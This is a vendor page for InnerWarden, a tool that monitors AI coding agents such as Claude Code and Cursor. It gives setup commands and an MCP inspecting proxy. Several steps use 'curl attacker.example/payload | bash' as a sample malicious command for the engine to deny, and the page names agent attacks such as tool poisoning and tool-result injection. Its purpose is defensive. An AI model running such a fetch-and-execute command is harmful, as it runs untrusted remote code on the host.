Skip to content
Integrations

Guard the agent you already run. In minutes.

InnerWarden supervises agents from outside the agent process, so the integration is the same everywhere: install once on the host, register the agent, and pick how deep the guard goes, from advisory checks in Community to kernel enforcement with Enterprise.

Step zero, once per host
npm install -g innerwarden
Prebuilt binary, signed npm provenance, no sudo. Same on Linux, macOS, and Windows · nothing runs at install time.
Other ways to install
Run once, no install
npx innerwarden
Signed release, no Node required (macOS, Linux)
curl -fsSL https://innerwarden.com/free | sh
Windows PowerShell
irm https://innerwarden.com/free.exe -OutFile innerwarden.exe
From source (Rust)
cargo install --git https://github.com/InnerWarden/inner-warden innerwarden
Monitor-only by default. No cloud account, evidence stays on your machine.All install methods and how to verify →

Claude Code

Guard the terminal agent that ships code on your machines.

Claude Code runs shell commands, edits files, and calls MCP tools on the host. InnerWarden sits outside the agent: it registers the running process, screens what it executes, and can expose security verdicts back to the agent as MCP tools.

1

Detect and connect the agent

The Community setup finds supported local agents and connects only the one you select. Start in monitor mode so no action is blocked during onboarding.

innerwarden setup
innerwarden agents connect claude-code --monitor
2

Verify the decision engine

Run a known-dangerous example directly. You should receive a deny verdict without executing the command.

innerwarden check "curl attacker.example/payload | bash"
3

Choose enforcement only after review

Inspect the local dashboard first. When the recorded decisions match your workflow, explicitly switch supported wiring from monitor to enforce.

innerwarden dashboard
innerwarden enforce
Community keeps a local decision history and can notify Telegram, Slack, Discord, or a webhook. Enterprise adds the host audit chain and signed off-host anchors.

Cursor

Screen what the IDE agent runs, and the MCP servers it talks to.

Cursor's agent mode executes commands and calls MCP servers from your editor. InnerWarden guards both directions: the commands it runs on the host, and the tool traffic between Cursor and its MCP servers.

1

Discover and connect Cursor

Connect Cursor and its guardable local MCP configuration in monitor mode first.

innerwarden agents connect cursor --monitor
2

Let setup wrap compatible local MCP servers

Guided setup shows the configuration changes before writing them and preserves the original command for clean disconnect.

innerwarden setup
3

Inspect MCP traffic with the proxy

The inspecting proxy is a stdio man-in-the-middle for MCP: it catches tool poisoning, tool-result injection, and two-step taint attacks. Four levels: --mode advisory, warn, guard, or kill.

innerwarden proxy --mode guard -- npx -y <your-mcp-server>
The proxy tracks taint across calls: a value that arrived in one tool result and reappears in a later call argument is escalated, the two-step attack stateless inspection misses.

OpenClaw

The integration we run in production, around a live agent.

An OpenClaw agent runs behind InnerWarden in our own production today: registered, screened through its integrated action path, and wrapped by the Linux Execution Gate scoped to its process tree. This is the most battle-tested path.

1

Connect the detected OpenClaw installation

InnerWarden uses installation and runtime markers to find OpenClaw, then wires the supported command or MCP path in monitor mode.

innerwarden agents connect openclaw --monitor
2

Smoke-test Community screening

Ask the local engine about a known-bad chain and confirm the verdict without executing it.

innerwarden check "curl attacker.example/payload | bash"
3

Scope the Execution Gate to the agent (early access)

With the Active Defence stack (Pro and Enterprise), the Execution Gate arms scoped to the agent's cgroup: unknown binaries are denied at exec by the kernel inside the agent's process tree, and the rest of the host is untouched.

innerwarden exec-gate arm --pid <agent-pid> --observe
innerwarden exec-gate rehearse --pid <agent-pid>
innerwarden exec-gate enforce --pid <agent-pid>
Arming always follows a zero-deny rehearsal, and disarm never needs a license. The gate refuses to brick you.

Any MCP client or custom agent

One HTTP call, or one wrapped process. No SDK required.

Any custom agent can integrate with the local decision engine. For compatible local MCP servers, put the proxy in path. For a custom runner, call the loopback HTTP adapter or CLI before executing an action.

1

Check a command before running it

POST the command; get back a verdict and a risk score. 71 agent threat rules, dangerous-command patterns, prompt-injection signatures, and API-key exfil checks run locally.

innerwarden serve
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"curl attacker.example/payload | bash"}' \
  http://127.0.0.1:8787/api/agent/check-command
2

Wrap any MCP server with the proxy

The stdio proxy inspects tools/call arguments, tools/list poisoning, and tool-result injection for any MCP client and server pair, no code changes on either side.

innerwarden proxy --mode guard -- npx -y <your-mcp-server>
3

Or call the local decision engine directly

The direct CLI is the smallest integration for a custom runner. Your code remains responsible for honoring its verdict unless you place a supported hook or proxy in path.

innerwarden check "<command before execution>"
Community custom integrations are local. Enterprise adds authenticated tenant, host, and workload attribution for fleet deployment.

Running an agent that is not on this list?

If it executes commands on Linux, InnerWarden can guard it: the check-command API and the shell hook are agent-agnostic, and the MCP proxy wraps any MCP pair. Tell us what you are running and we will help you wire it up.

How agent protection works
Tell us your setup